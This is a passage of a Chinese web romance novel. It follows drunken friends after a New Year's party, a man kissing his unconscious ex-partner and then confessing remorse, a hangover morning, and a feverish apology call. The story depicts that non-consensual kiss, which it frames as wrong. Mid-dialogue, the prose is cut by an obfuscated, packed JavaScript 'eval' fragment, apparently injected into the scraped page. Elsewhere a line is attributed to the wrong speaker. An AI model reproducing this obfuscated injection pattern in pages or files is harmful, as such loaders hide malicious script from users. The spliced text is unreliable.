林骁和徐杨这两个罪魁祸首显然已经彻底失去了对四肢和地心引力的控制。林骁半个身子探进商务车后座,两条长腿还在车外胡乱蹬踹,试图往里爬,嘴里含糊地喊着:“南景……上车……我、我保护你……”徐杨则从后面扒拉着林骁的腰,想把他推进去,自己好跟上,但他自己也是脚步虚浮,全身重量都压在林骁身上,导致两人卡在车门处,进退不得,像两团纠缠不清散发着酒气的软体生物。 而被他们惦记着的南景,状况也没好多少。他靠着车身,微微仰着头,眼神涣散地望着路灯晕开的光圈,脸上带着一种近乎纯然的迷茫,对身边的混乱似乎感知迟缓。当林骁又一次试图拽他时,他才慢半拍地“嗯?”了一声,脚下踉跄,也下意识地跟着往那已经塞了两个大男人的车门挤去。 三个人,一个门,都喝得七荤八素,场面一度十分“感人”。 “他妈的……”秦朗低咒一声,几个大步跨过去,一手揪住南景的后衣领,像拎一只迷茫的大型猫科动物,把他从那个危险的“人肉三明治”边缘拽了出来,护到自己身后。他瞪着还在车门处蠕动的林骁和徐杨,额角青筋直跳,没好气地低声骂道:“妈的!这我弟媳!你们俩还真敢想,往一个车里塞?想干嘛?开茶话会啊?” 可惜,醉鬼听不懂人话。林骁只感觉拽着南景的力道没了,茫然地回头,看到秦朗,竟然还咧嘴笑了一下,大着舌头:“秦、秦少……一起……一起走啊……我家床……大……” 秦朗懒得再跟醉鬼废话,他朝旁边待命的、一脸训练有素、眼观鼻鼻观心的司机使了个眼色。司机立刻会意,上前,用专业的手法,半扶半拖地把还在试图寻找南景的林骁和徐杨,从车门处剥离下来,然后利落地塞进了商务车宽敞的后座。两人一沾到座位,就像没了骨头的史莱姆,软软地瘫倒在一起,林骁的头歪在徐杨肩上,徐杨的手无意识地搭在林骁腿上。 秦朗看着这糟心的画面,对司机快速吩咐:“你,负责把他俩安全送到家。地址我发你了。务必送上楼,送到门口,看着他们进去。这两个醉得不轻,别出什么幺蛾子。” “好的,秦总,您放心。”司机沉稳地点头,迅速坐进驾驶位。 秦朗这才转身,扶着脚步虚浮的南景,走向自己的车,把他安顿在副驾,系好安全带。南景很乖顺,只是闭着眼,呼吸间带着淡淡的酒气。秦朗又去确认了周卓被他自己的司机接走,这才揉了揉眉心,坐进车里,吩咐司机回周冉的小区。 引擎低鸣,车辆滑入凌晨寂静的街道。秦朗看了一眼熟睡的周冉,又瞥了一眼南景,长长地舒了口气。这鸡飞狗跳的跨年,总算接近尾声了。 与此同时,那辆载着林骁和徐杨的商务车,平稳地驶入了市区一处高档公寓的地下停车场。司机严格按照老板的指示,停好车,费力地将两个虽然身高腿长但此刻软得像面条的男人从车里弄出来,一左一右架着,走进电梯,按下楼层。 电梯上升的轻微失重感让林骁稍微清醒了一瞬,他眯着眼,看着不断跳动的楼层数字,脑袋昏沉,但嘴却没闲着,对着空气,或者说对着旁边同样晕乎乎的徐杨,开始断断续续胡言乱语: “南景……我、我跟你说……我,林骁……来,保证……包你满意……”他试图挺起胸膛,但差点带着架着他的司机一起摔倒,稳住后继续吹嘘,声音含糊却铿锵,“器大……活儿好……还不粘人……真的……试过都说好……” 旁边的徐杨被他嚷嚷得皱了皱眉,费力地抬起沉重的眼皮,虽然视线模糊,但捕捉到了林骁和吹牛这两个关键词。他慢悠悠地,用比平时迟钝十倍的语速反驳,语气却带着一种醉后的执拗:“去……去你的……听、听说……你不行……要、要歇好久……的那种……中、中看不中用……” “你大爷的!”林骁即使醉得东倒西歪,也要捍卫尊严,他试图转头瞪徐杨,但脖子不听使唤,只能对着电梯壁反射的模糊人影咆哮,“谁、谁说的!老子猛的一批!一夜……七次!金枪不倒!不信……不信你试试!” 徐杨也来了劲,酒精让他褪去了所有温润伪装,露出平日里绝不会展现的锋利棱角,他嗤笑一声:“试试就试试……谁怕谁……我也、也让你见识见识……什么叫……真正的……大、猛、一!” 两人就这么在狭窄的电梯里,隔着辛苦支撑他们的司机,开始了毫无意义的醉汉争吵,内容越发不堪入耳,且逐渐从“争论谁更猛”滑向“直接向对方发起挑战”。 司机全程眼观鼻,鼻观心,表情专业得像戴了面具,内心毫无波澜,甚至有点想打哈欠。终于,“叮”一声,电梯到了目标楼层。他艰难地把这两个还在互相挑衅、肢体也开始无意识推搡起来的男人挪出电梯,按照秦朗发的信息,找到林骁的公寓门,用林骁的指纹折腾了好一会儿,开了锁。 门一开,司机立刻将这两个烫手山芋“卸货”进门内。林骁和徐杨互相拉扯着,踉踉跄跄地跌进黑暗的玄关。林骁脚下一软,带着徐杨一起倒在了柔软的地毯上,发出沉闷的响声。 黑暗中,醉意和某种莫名被酒精点燃的暴躁竞争心还在持续发酵。 “你……起来……重死了……”徐杨推搡着压在他身上的林骁。 “起、起不来……有本事……你、你起来……”林骁含糊地反驳,手胡乱地摸索着,不知是想爬起来,还是想制服对方。 布料摩擦的窸窣声,含糊不清的咒骂和嘟囔,在寂静的公寓里格外清晰。两人似乎真的开始试试,只不过方式从口头争论升级到了幼稚的肢体纠缠——你扯我的衬衫领子,我拽你的毛衣下摆,试图在醉酒和地心引力的双重debuff下证明自己更猛。 司机站在门外,听着里面传来的动静,沉默了两秒。秦总的指令是“送到楼上,送到门口,看着他们进去”。他送上了楼,送到了门口,也看着他们进去了。他的任务,从字面意义上,已经圆满完成。 至于进去之后,这两位醉醺醺互为死对头的男模,是会打一架,会吐一地,会倒头就睡,还是会因为这场荒谬的比试引发一些……超出他职责范围和理解能力的发展? 那就不关他的事了。 专业司机,从不窥探客户隐私,也从不替客户做超出指令的决定。 他微微颔首,对着已经关上的公寓门,用只有自己能听到的声音说了句“晚安”,然后转身,脚步平稳地走向电梯,按了下行键。 电梯门缓缓合拢,将这一层的黑暗、细微的挣扎声、模糊的醉话,以及所有可能或不可能发生荒诞又微妙的故事可能性,都关在了身后。 至于门内的故事会如何书写? 也许明天太阳升起,两个头痛欲裂的男人会对着彼此身上凌乱咬痕和完全断片的记忆面面相觑,悔不当初。 也许……会有其他更出人意料的展开。 谁知道呢? 反正,机会已经创造了。种子已经种下。土壤也算肥沃。至于开不开花,结不结果,开什么花,结什么果…… 就交给那位或许正躲在某个维度偷笑的作者去安排吧。 司机想着,坐回驾驶座,发动车子,驶向凌晨清冷的街道。 电梯门“叮”一声滑开,秦朗一抬头,差点把肩上架着的南景甩出去。 “我操!!” 邵既明就站在电梯门外,像个刚从地狱爬回来的孤魂野鬼。他穿着那件眼熟的黑色大衣,整个人瘦得几乎脱相,眼下乌青浓得像被人打了两拳,下巴上冒出一片青黑的胡茬,嘴唇干裂起皮。他站在那儿,一动不动,眼神直勾勾地盯着秦朗肩上不省人事的南景。 “你干嘛啊?这大半夜的,当鬼呢?”秦朗被他这副鬼样子惊得心口一跳,没好气地骂,“今天又不是万圣节!赶紧过来搭把手!沉死了!” 邵既明像是被这一嗓子唤回了魂,踉跄着上前,动作有些僵硬地从秦朗肩上接过南景。他的手在触碰到南景身体的瞬间,颤了一下,随即收紧,将人稳稳揽进怀里。南景醉得彻底,头软软地靠在他肩窝,温热的呼吸带着酒气拂过他颈侧,让他浑身肌肉瞬间绷紧,喉咙发干。 周冉在秦朗另一边,也睡得天昏地暗,嘴里还含糊地咕哝着什么“再来一杯”。 秦朗没空细究邵既明怎么会在这儿、又是什么时候开始等的,他腾出手,抓着周冉的拇指按在指纹锁上。“咔哒”一声,门开了。 两人一前一后,费力地将两个醉鬼挪进客厅。地暖开得很足,赤脚踩在地板上都觉得温热。秦朗架着周冉找房间,邵既明则半抱着南景,凭着直觉,推开了另外一间的门。 门在身后轻轻合拢。 邵既明将南景小心地放在床上,动作轻得仿佛对待一件易碎的稀世珍宝。南景似乎觉得姿势不舒服,无意识地蹙了蹙眉,哼了一声,侧过身,将半张脸埋进枕头里。他穿着柔软的毛衣和黑色长裤,因为躺下的动作,毛衣下摆微微卷起,露出一小截白皙紧实的腰线。 邵既明的目光像是被烫到,猛地移开,却又不受控制地流连回来。他蹲在床边,这个姿势让他能与沉睡的南景平视,甚至更低。他贪婪地、近乎饥渴地看着这张脸,在这样近的距离,没有任何防备和冷漠的脸。睫毛很长,因为醉酒,脸颊泛着不正常的潮红,嘴唇微微张开,呼吸均匀绵长。他看起来……很安静,甚至有些脆弱,与那个西装革履、眼神疏离、说出“我的时间很贵”的南景判若两人。 朝思暮想。 这个词不足以形容他这几个月来的万分之一。是凌迟,是炼狱,是每一口呼吸都带着玻璃碴。而现在,这个人就在他触手可及的地方,不会推开他,不会用冰冷的目光刺穿他,不会说出那些让他肝胆俱裂的决绝话语。 鬼使神差地,邵既明缓缓俯身。他的影子笼罩下来,将南景完全覆盖。他低下头,目光死死盯着那两片因为干燥而略显苍白的唇。理智在疯狂尖叫,警告他这是趁人之危,是卑鄙无耻。但情感,那积累了六年却被自己亲手埋葬、又在失去后疯狂反扑、日夜灼烧着他的情感,如同挣脱牢笼的野兽,咆哮着冲垮了所有防线。 他的嘴唇,带着冬夜的凉意和自己滚烫的颤抖,轻轻印了上去。 触感比他记忆中任何一次都要柔软,却也冰冷。没有回应,只有南景无意识带着酒气的温热呼吸。邵既明闭上眼,加深了这个吻,舌尖小心翼翼地探出,描绘着那熟悉的唇形,试图汲取一点点过去的温度,一点点……属于“他的南景”的气息。 直到身下的人眉头蹙得更紧,喉咙里溢出一声含糊不清带着明显不适的呜咽,身体也微微挣扎了一下。 邵既明像是被兜头浇了一盆冰水,浑身一激灵,猛地退开,舌尖仓皇收回。他喘着粗气,心脏在胸腔里狂跳。他看着南景依旧紧闭的双眼,只是眉头松开了些,又沉沉睡去。 他在做什么?他竟然对毫无知觉的南景做这种事?这和当初那杯酒带来的错误起点,又有什么本质区别?他口口声声说着悔改,却依然在重蹈覆辙,用另一种方式侵犯对方的边界。 他踉跄着后退半步,跌坐在地毯上,双手捂住脸,肩膀无法抑制地颤抖起来。良久,他才放下手,眼眶通红。 他伸出手,指尖在空中停顿了许久,才极其小心翼翼地,握住了南景搭在床边的手。邵既明将这只手捧起,然后,轻轻贴在了自己冰凉的脸颊上。 “南景……”他开口,声音嘶哑得不成样子。 “我好想你啊……” “每一天,每一分,每一秒……都想得这里……”他拉着南景的手,按在自己左胸口,那里心跳如擂鼓,又空荡得可怕,“疼得快要死掉了。” “对不起……对不起……我知道错了,我真的知道错了…我的自以为是……我都知道了……我好后悔……南景,我后悔得恨不得杀了自己……” “你看看我好不好?别再用那种看陌生人的眼神看我……我受不了……真的受不了……” “你能不能……别推开我?就一会儿……就现在这样,行不行?我保证什 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两人来到客厅。秦朗径直走到沙发边,大马金刀地坐下,长腿岔开,手臂搭在沙发靠背上,脸上是疲惫和不赞同。他没有开大灯,只有小夜灯和落地窗外的月亮提供着光源。 邵既明沉默地走到他对面的单人沙发坐下,他垂着眼,目光落在自己交握放在膝盖上的手上。 “说吧,”秦朗率先打破沉默,声音里带着熬夜后的沙哑和一丝火气,“你又跑来干什么?大过节的,不去陪你爸妈安排的何小姐李小姐,跑这儿来当门神?还专挑人喝得不省人事的时候?” 邵既明缓缓抬起眼,眼眶依旧泛着红,眼底的血丝在昏暗光线下更显清晰。 “我只是……想跟他说声新年快乐。” “哈!”秦朗短促地嗤笑一声,身体前倾,手肘撑在膝盖上,目光冷冷落在邵既明脸上,“新年快乐?邵既明,你他妈扪心自问,过去那六年,你跟南景说过几次新年快乐?你和他正经跨过一次年吗?啊?” “别人谈恋爱,逢年过节是盼着团聚,是仪式感。你呢?你他妈把南景当什么?一个招之即来挥之即去、还得二十四小时保持待机状态的……高级生活助理?不,说炮友都侮辱炮友了,炮友过节还知道发个红包呢!你呢?你除了需要他的时候,除了享受他把你那狗窝收拾得人模狗样的时候,你什么时候把他当成过一个需要被陪伴、被在乎的男朋友?!” 秦朗张了张嘴,想反驳,却发现喉咙被更沉重的窒闷堵住。没有。他回想不起来。新年?春节他必须回老宅,南景从无怨言,甚至提前帮他准备好带给家人的礼物。情人节?他说那是商业炒作出来的无聊节日。七夕?他好像说过“牛郎织女一年见一次,我们也一年见一次?”……圣诞节、生日、纪念日……似乎每一次,南景带着小心翼翼的期待提起,都会被他用各种冠冕堂皇的借口轻描淡写地略过。他甚至不记得南景有没有因此表现过明显的失落,或许有,但被他刻意忽略了,或许南景早就学会了不期待。 “呵,”秦朗看着他瞬间苍白的脸色和哑口无言的样子,怒火更盛,“南景没直接拿刀砍了你,真是他脾气好,修养到家了!” 邵既明闭了闭眼,再睁开时,眼底是一片荒芜,他扯了扯嘴角,那弧度比哭还难看:“我倒是宁愿……他拿刀砍我。” “你他妈,”秦朗被他这副自虐般的语气激得差点站起来,他深吸一口气,强迫自己冷静,“不是,邵既明,我他妈真想撬开你脑子看看里面装的什么!过去六年,你是眼睛瞎了还是耳朵聋了?南景对你怎么样,你看不见?他为你做的那一桩桩一件件,你感受不到?哦,不对。” 秦朗猛地摇头,像是想到了什么更让他愤怒的点,他指着邵既明:“是我说错了,是南景!是他以前眼睛瞎了!耳朵聋了!心也盲了!他才会像个傻子一样,跟你耗了整整六年!把他最好的时候,最真的心,全都喂了狗!” “现在好了!人家眼睛治好了!耳朵通了!心也清醒了!知道以前捧着的就是个捂不热的石头,知道及时止损了!你呢?你倒好!石头成精了?开始他妈的要死要活了?以前人家把心掏给你的时候,你当垃圾!现在人家把心收走了,你倒跪下来求着要了?邵既明,你他妈是不是有毛病?!是不是犯贱?!” 秦朗的质问如同疾风骤雨,劈头盖脸,毫不留情。每一个字都精准地踩在邵既明最痛、最无法辩驳的点上。他坐在那里,像一座正在无声风化的石雕,承受着这场迟来的、由旁人代为执行的审判。脸上血色尽褪,嘴唇颤抖。 过了许久,邵既明才极艰难地抬起头。 他的眼睛红得可怕,却没有泪水。 “不是没看见,哥。” “也不是没感受到。” “我对他的感情……也在这六年里,一点一点,堆积起来了。像沙子……不知不觉,就堆成了一座塔。” “只是……我不敢承认。” 他扯了扯嘴角,那是一个无比苦涩、无比嘲弄的笑容,对象是他自己。 “我是个懦夫。” “我害怕那杯酒带来的起点不够光明正大,害怕承认自己会对一个算计来的人动心,会显得我很蠢,很可笑。我更害怕……真的投入了感情,就会失去控制。” “所以,我用习惯、用省心、用本该如此来麻痹自己,把他所有的好,都归类为他该做的,把他所有的期待和失望,都解读为他贪心、他不成熟。我用一个自己构建的、高高在上的视角,俯视他,评判他,心安理得地享受他筑起的塔,却从未想过,也不敢去想,这座塔的基石,是他毫无保留的真心。而我,甚至连承认自己正站在塔里的勇气……都没有。” 他缓缓吐出一口气,那气息颤抖着。 “我不是现在才爱上他的,哥。” “我是……一直爱着,却像个瞎子一样,背对着那座塔,告诉自己眼前一片荒芜。直到塔塌了,我才猛然回头,看见一地狼藉,和……和我手里,原来早就攥着,却从未珍惜过的,筑塔的沙。” 秦朗看着他,他张了张嘴,想说什么,最终却只是化作一声长长的叹息。 有些顿悟,来得太迟。有些塔,塌了,就再也重建不起当初的模样。 而有些沙,从指缝流走,便再也抓不回来了。 25. 宿醉 意识像是从深海里缓慢上浮,穿过厚重粘稠的黑暗,最终被一阵头痛和膀胱的鼓胀感强行拽回现实。周冉皱着眉,发出一声痛苦的呻吟,眼皮重得像挂了铅。她费力地掀开身上柔软蓬松的羽绒被—— 一股冷空气瞬间窜了进来,激得她皮肤泛起一层细小的颗粒。 “嘶……好冷……”她迷迷糊糊地嘟囔,下意识地蜷缩身体,手往身上摸索,想拉回被子。指尖触到的却不是睡衣柔软的布料,而是……光滑微凉属于皮肤的直接触感。 嗯? 她动作一顿,睡意瞬间被一种不祥的预感驱散了大半。她猛地睁开眼,先是看到了熟悉的天花板吊灯,确认是在自己卧室。然后,她缓缓地、带着一种近乎英勇就义般的决心,低下头,看向自己胸口—— 一片光洁。视野毫无阻碍地向下延伸。 “卧槽!!!” 一声足以掀翻屋顶的尖叫从她喉咙里炸开,宿醉带来的头痛在这声尖叫的震动下似乎加剧了。她“腾”地一下从床上弹坐起来,低头仔细审视自己——上身,□□。……还好,穿着条皱巴巴的安全裤。记忆像断了片的电影胶卷,昨晚最后的画面停留在酒吧卡座里林骁和徐杨互相灌酒的模糊景象。 “什么情况???????”她抓了抓自己乱成鸟窝的头发,心跳如擂鼓。再次环顾四周,确实是她的房间,她的床,床头还扔着她昨晚穿的那件T恤,皱成一团,隐隐散发着一股……不太好闻的味道。 顾不上细想,她连滚爬下床,光着脚丫子踩在地板上,冲进浴室。温热的水流冲刷而下,带走皮肤上残留的酒气和莫名的粘腻感,也让她混乱的头脑稍微清晰了一点点。洗完澡,套上舒适的居家服,用毛巾胡乱擦了擦还在滴水的头发,她深吸一口气,猛地拉开了卧室门,像一阵小旋风般冲进了客厅,嘴里已经噼里啪啦地喊了出来: “卧槽!南小景!完了完了!我可能失去清白了!!!昨晚我断片了!我衣服.....”她的声音戛然而止,脚步也钉在了原地。 南景穿着浅色的家居服,头发微乱,脸色有些苍白,正捧着一杯冒着热气的蜂蜜水,小口啜饮着,眉头因为宿醉而微微蹙起,眼神还带着点未散尽的迷蒙。 而另一边…… 秦朗。 他也坐在沙发上,姿态甚至称得上悠闲。但重点是——他穿着一件……粉白色带着夸张蕾丝花边和小兔子图案明显属于女性的、尺码对他而言过于紧身的——睡袍!睡袍袖子短了一截,露出他结实的小臂,下摆更是勉勉强强遮住大腿,两条长腿大喇喇地敞着,画面诡异又滑稽。他手里也端着杯水,看到周冉冲出来,脸上立刻绽开一个灿烂得晃眼的笑容,露出一口白牙。 “秦朗???”周冉眼睛瞪得溜圆,手指颤抖地指着他,又指指他身上的睡袍,声音拔高了八度,充满了惊悚,“你怎么在我家?????还穿着我的睡袍?????救命啊!有变态!!!南景!报警!!!” 秦朗被她的反应逗乐了,低低地笑了起来,他放下水杯,试图调整一下身上这件让他行动受限的战袍,但效果甚微。他站起身(睡袍下摆危险地向上缩了缩),走到周冉面前,微微俯身,看着她因为刚洗完澡而红扑扑、写满震惊和警惕的脸,语气是前所未有的温柔(和欠揍):“小祖宗,你可算醒了。头疼不疼?胃难不难受?以后可千万别喝那么多了,太吓人了。昨晚我要是不在,啧……”他摇摇头,做出后怕的表情,“你的清白可能就真的悬了。” “我清白悬不悬关你屁事!”周冉没好气地怼回去,后退一步,上下打量他这身离谱的装扮,嘴角抽搐,“所以……我衣服是你脱的?”她眯起眼,危险的光芒在眸中闪烁。 秦朗立刻举起双手,做投降状,但脸上的笑意未减,甚至带着点得意:“天地良心!我发誓,我秦朗对灯发誓!我就是把你那身沾了……呃,不明物体的衣服给脱了,其他什么都没干!我睡的客房!真的!南景可以作证!” 南景慢悠悠地喝了一口蜂蜜水,宿醉让他的声音比平时更低沉些,带着点沙哑的磁性,他抬起眼皮,瞥了一眼急于表忠心的秦朗,又看看杀气腾腾的周冉,不紧不慢地开口:“嗯,我作证。他确实睡的客房。我给他拿了我的衣服,”他指了指沙发上叠放整齐的一套男士家居服,“他不穿,非说你的衣服更舒服,证据确凿。”他顿了顿,补充道,“让他负责吧,不然就报警。人赃并获,跑不掉了。” “好呀好呀!”秦朗立刻顺杆爬,凑近周冉,“小冉冉,我会很负责的,真的,二十四孝那种,端茶送水,暖床叠被,随叫随到,还可以附赠免费人形ATM机和保镖服务,怎么样?考虑一下?” 周冉没理他的疯话,她抱着手臂,眯着眼,目光在秦朗那张写满“快答应我”的俊脸和他身上可笑的睡袍之间来回扫视。昨晚零星的记忆碎片开始拼凑——好像是有个人一直照顾醉醺醺的她,好像她吐了……吐了别人一身?然后……衣服被脱了?洗了澡?客房? 她抬起手,烦躁地想捋一下头发,她动作一顿,低头看去。 左手的无名指上,不知何时,多了一枚戒指。 设计极其简洁指环,但顶端镶嵌着一颗硕大的、切割完美的……粉色钻石。尺寸竟然刚好,牢牢地圈在她的指根。 周冉的呼吸滞了一下。她盯着那枚戒指,足足看了三秒钟,然后极其缓慢地抬起头,看向秦朗,举起那只戴着戒指的手,声音平静得有些诡异:“这,几个意思?” 秦朗脸上的笑容僵了一下,随即变得更加灿烂,他搓了搓手:“啊,这个……新年礼物。喜欢吗?我挑了好久,觉得这个颜色挺配你的……” “新年礼物?”周冉打断他,眉毛高高挑起,声音也陡然拔高,“新年礼物你他妈套我无名指上???秦朗,你是傻杯吗?!还是你觉得我喝多了就特别好忽悠?!”她说着,另一只手就伸过去,用力地想要把戒指撸下来。 “哎!别!别拿啊!”秦朗一看急了,也顾不上形象了,一个箭步冲过去,试图抓住她的手,但又不敢太用力,“冉冉!戒指!戒指你就算不喜欢,也可以拆下来当项链吊坠啊!这钻石成色真的很好,以后升值空间大!要不……你当个玩具?戴着玩?你别硬拽,伤到手!” “冉冉你就收下吧,”南景的声音幽幽地传来,他不知何时又续了一杯蜂蜜水,靠在沙发里,“等我把你的钱败光之后,这颗石头好歹还能投个小目标,东山再起。” 秦朗立刻向大舅哥投去一个感激涕零、充满“懂我”深意的眼神。 周冉的手指在戒指上停留着,那颗粉钻闪烁着昂贵又刺眼的光。她看看秦朗那张混着紧张、期待、讨好和不要脸的脸,又看看自己手上这枚意义明确的“礼物”,再想想昨晚的混乱和今早的鸡飞狗跳…… 有点烦,有点想打人,有点荒谬,又好像……有那么一丝丝,极其微弱的,连她自己都不愿意深究的……别的什么东西。 她最终,还是没有强行把戒指摘下来。只是狠狠地瞪了秦朗一眼,甩开他的手,转身朝厨房走去,嘴里没好气地骂骂咧咧: “烦死了!南小景,我饿了!做饭!还有你!”她回头,指着还穿着她睡袍、一脸忐忑望着她的秦朗,“赶紧去把你那身滑稽戏服换了!看着就眼睛疼!然后再来跟我解释清楚,昨晚到底怎么回事!要是有一句假话——”她眯了眯眼,做了个抹脖子的动作。 秦朗如蒙大赦,立刻点头如捣蒜:“好好好!我这就去换!马上交代!保证坦白从宽!”他转身,迈着被睡袍束缚的别扭步伐,急匆匆地往客房走去。 周冉趿拉着毛绒拖鞋,走到厨房,给自己也冲了杯温热的蜂蜜水,然后抱着杯子,慢吞吞地挪回客厅,把自己重重地摔进沙发里,占据了最舒服的角落。脑子还有点懵,她闭着眼,小口啜饮着甜水,试图让灵魂归位。 秦朗已经换回了自己那身被紧急清洗烘干的衣服。 “冉啊,”他清了清嗓子,“你看,你这房子……挺宽敞的哈?阳光也好,地暖足……而且,反正你们还有间多余的客房,平时空着也是空着,我……” 他话还没说完,周冉连眼睛都没睁,就朝着南景的方向懒洋洋地抬了抬手:“南景,快,报警。有人私闯民宅,还企图非法长驻。证据确凿,人赃并获,赶紧的。” 南景捧着已经空了的蜂蜜水杯,正望着窗外发呆,闻言,只是极轻地、几乎不可闻地“嗯”了一声,然后换了个更舒服的歪倒姿势,用后脑勺对着他们,用实际行动表示“我什么都没听见,我只是一朵安静的蘑菇,勿cue”。 秦朗被周冉这毫不留情的拆台噎了一下,但脸皮厚度显然经得起考验。他立刻换上一副西子捧心、伤心欲绝的表情,捂着胸口:“哎呀呀,冉冉,你这话可太伤我心了。我这一片丹心向明月,明月却照沟渠……我这不是担心你们嘛!你看,两个如花似玉的……青年,住这么大房子,多不安全!我好歹也是个一米八几的壮劳力,能扛能打,还能顺便充当一下人形报警器和外卖跑腿,多划算!” “划算你个头。”周冉终于睁开一只眼,斜睨他,“我家最不安全的因素就是你。还壮劳力,昨晚是谁连哄带骗想占便宜的?嗯?” “天地良心!我哪有!”秦朗叫屈,随即又凑近一点,表情严肃起来,“不过说到昨晚……冉冉,咱们得严肃谈谈你喝酒的问题。” 周冉翻了个白眼,把脸往抱枕里埋了埋:“又来了……秦嬷嬷,您请开始您的训诫。” “我不是训诫,我是担心!”秦朗坐直身体,掰着手指头开始数,“你看你昨晚喝了多少?香槟、威士忌、龙舌兰、还有不知道谁递过来的乱七八糟的鸡尾酒……混着喝最伤身了!而且你喝起来还没个节制,别人劝你就喝,游戏输了也喝,最后都断片了!多危险!万一,我是说万一,昨晚我不在……”他顿住,没说完。 “停停停!”周冉被他念得头疼,抬手制止,“秦朗,我今年二十四,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周冉看着他微微发红的眼眶,听着他语气里不容错辨的担忧,心里那点不耐烦忽然就散了些。她知道秦朗说的是事实,昨晚她确实喝过头了,也幸好有他和南景在。但她嘴上不肯轻易服软,只是别开脸,小声嘟囔:“知道了知道了,烦死了……跟个老妈子似的……” “我不是老妈子,我是担心你。”秦朗放缓了语气,“冉冉,你就答应我,以后我不在的时候,别喝那么多,行吗?至少……别让自己失去意识。算我求你了。” 客厅里安静下来。 周冉盯着手中见底的蜂蜜水杯,过了好一会儿,她才从鼻子里哼出一声:“行了……啰嗦。以后……你不在的时候,我不多喝。行了吧?” 她说得飞快,含糊,甚至带着点不耐烦,仿佛只是随口应付。 秦朗愣了一下,随即,那双总是含着笑意的桃花眼,咧开一个灿烂到有点傻气的笑容。 “真的?冉冉你答应了?说话算话?”他急切地确认,身体又往前凑了凑。 “哎呀烦不烦!说了就是说了!”周冉被他灼热的目光看得耳根发烫,一把推开他凑近的脸,“再问就反悔!” “不问不问!不反悔不反悔!”秦朗立刻坐直,他甚至高兴地打了个响指,转头对南景说:“南景,听见没?冉冉答应我了!以后我不在她不多喝!” 南景面无表情地看了他一眼,又看看旁边假装看天花板、耳根却红透的周冉,淡淡地“哦”了一声,然后补充:“记得录音,免得某人酒醒不认账。” “南小景!你哪头的!”周冉抓起另一个抱枕扔过去。 南景敏捷地偏头躲过,嘴角弯了一下。 就在这时,门铃响了。 “谁啊?大过节的。”周冉嘀咕。 秦朗起身去开门。门外站着一位穿着得体、提着好几个印着某知名酒店logo高级食盒的年轻男人,是秦朗的助理之一。 “秦总,您要的午餐送到了。按照您的吩咐,都是清淡易消化的菜品,还有醒酒汤。”助理恭敬地说,目光礼貌地掠过秦朗,看向屋内,对周冉和南景微微颔首示意。 “辛苦了,元旦还让你跑一趟。”秦朗接过食盒。 “应该的,秦总。新年快乐。”助理完成交接,利落地离开了。 秦朗提着沉甸甸的食盒走回客厅,放在餐桌上,开始一盒盒打开。瞬间,食物的香气弥漫开来——清炖鸡汤、白灼菜心、蟹肉蒸蛋、小米辽参粥,还有几样精致的点心。菜品看起来清爽又营养,显然是用心搭配过的。 周冉趿拉着拖鞋走过来,看着这一桌堪比五星级酒店早午餐的配置,挑了挑眉,抱着手臂吐槽:“哟,万恶的资本家,剥削劳动人民真是毫不手软啊。大过节的,一个电话就把人助理薅起来给你送饭,还是双人份……哦不,三人份。良心不会痛吗?” 秦朗正小心地把鸡汤盛到小碗里,闻言,头也没抬,悠悠地回了句。 “五倍工资。” 周冉:“……” 南景也走了过来,看着满桌佳肴,诚实地评价:“……挺好。” 秦朗把第一碗鸡汤放到周冉面前,又给南景盛了一碗,最后才给自己盛。 “快吃吧,小祖宗。吃了胃舒服点。下次再喝成那样……”他顿了顿,在周冉瞪过来之前,从善如流地改口,“……算了,没有下次。吃饭吃饭。” 26. 海风温柔,星河沉默 日子像被拉长的糖稀,黏腻缓慢地流淌,却又在某个回神的瞬间,发现年关已近在眼前,快得让人猝不及防。城市褪去圣诞新年的华丽喧嚣,换上了一种更为务实、也更为匆忙的节奏。 他遇到过邵既明几次。在某个行业论坛的台下,他是主讲嘉宾之一,西装革履,言辞犀利,只是眼下的阴影似乎从未真正消散,在台上强烈的灯光下显得有些苍白。南景坐在后排,安静地听,在茶歇人流涌动前悄然离场。在某家高端酒店的走廊,他似乎是刚结束一场重要谈判,被一群人簇拥着走出来,眉眼间是熟悉的、属于邵氏继承人的冷峻。南景正与客户告别,目光不经意交汇,他微微颔首,算是打过招呼,便转身与客户一同走向电梯,没有停留。还有一次,在某个艺术展开幕式,邵既明是赞助方代表,被媒体和名流围着。南景独自站在一幅画前,看了很久,直到感觉那道如有实质的目光越过人群落在背上,他才不紧不慢地走向下一个展厅,始终没有回头。 每一次,他都能在邵既明试图脱身靠近之前,先行离开。那些曾让他痛彻心扉的视线,如今落在背上,只如一阵无关痛痒的风,吹过便散了。 周冉那边,气氛有些微妙。她似乎……在躲着秦朗。不再像之前那样对秦朗的“骚扰”大呼小叫、针锋相对,反而有点刻意避开的意味。消息回得慢,约饭十次推掉八次,理由千奇百怪,从“要陪南景加班”到“家里的仙人掌需要心理辅导”。秦朗显然察觉了,电话里语气越来越委屈,旁敲侧击问南景,南景只推说不知,但心里明镜似的——那枚粉钻戒指,周冉摘了下来。 年前几天,周冉干脆提前跑路,买了张机票直飞某个温暖的海岛,美其名曰“提前享受年终假期,躲避资本主义的节日压榨”。南景处理完手头最后一点工作,也订了机票,准备过两天就去海岛与她汇合,一起过年。 出发前夜,南景正在客厅收拾行李,检查证件。窗外是城市寂寥的冬夜,零星飘着雪沫。手机在茶几上震动起来,屏幕亮起,是一个没有储存却早已刻入记忆的号码。 南景的动作顿住,看着那串数字在屏幕上执着地闪烁。他擦了擦手,走过去,没有立刻接起。震动停止,几秒后,再次响起。 他最终按下了接听键,将手机放到耳边,没有说话。 听筒里传来沉重、紊乱的呼吸声,间杂着模糊不清的声音。背景很安静,隐约有医疗器械规律的滴答声。 “对……不起……” 邵既明的声音嘶哑得几乎破碎,气若游丝,每个字都耗尽了力气,带着高烧病人特有的浑浊和意识游离的模糊。他似乎不是在对话,只是在重复一个烙印在灵魂深处的咒语,一遍,又一遍,夹杂着无法抑制的哽咽。 “对不……起……南景……对……不起……” “错了……都是我……错了……” “冷……好冷……别走……” “求你……看看我……对不起……” 语无伦次,颠三倒四。时而像是清醒时的忏悔,时而又陷入高烧的谵妄,回到了某个风雪交加的夜晚,或是更久远的、只有他们两人知晓的晦暗场景。 没有质问,没有辩解,没有奢求原谅。只有这一句,反复撕扯的“对不起”,和崩溃的哽咽。 南景安静地听着。 没有愤怒,没有心疼,没有波澜。 就像听一段与己无关的噪音。 他甚至能分神想,是上次在艺术展外面站得太久,冻着了?还是这段时间根本没好好照顾自己? 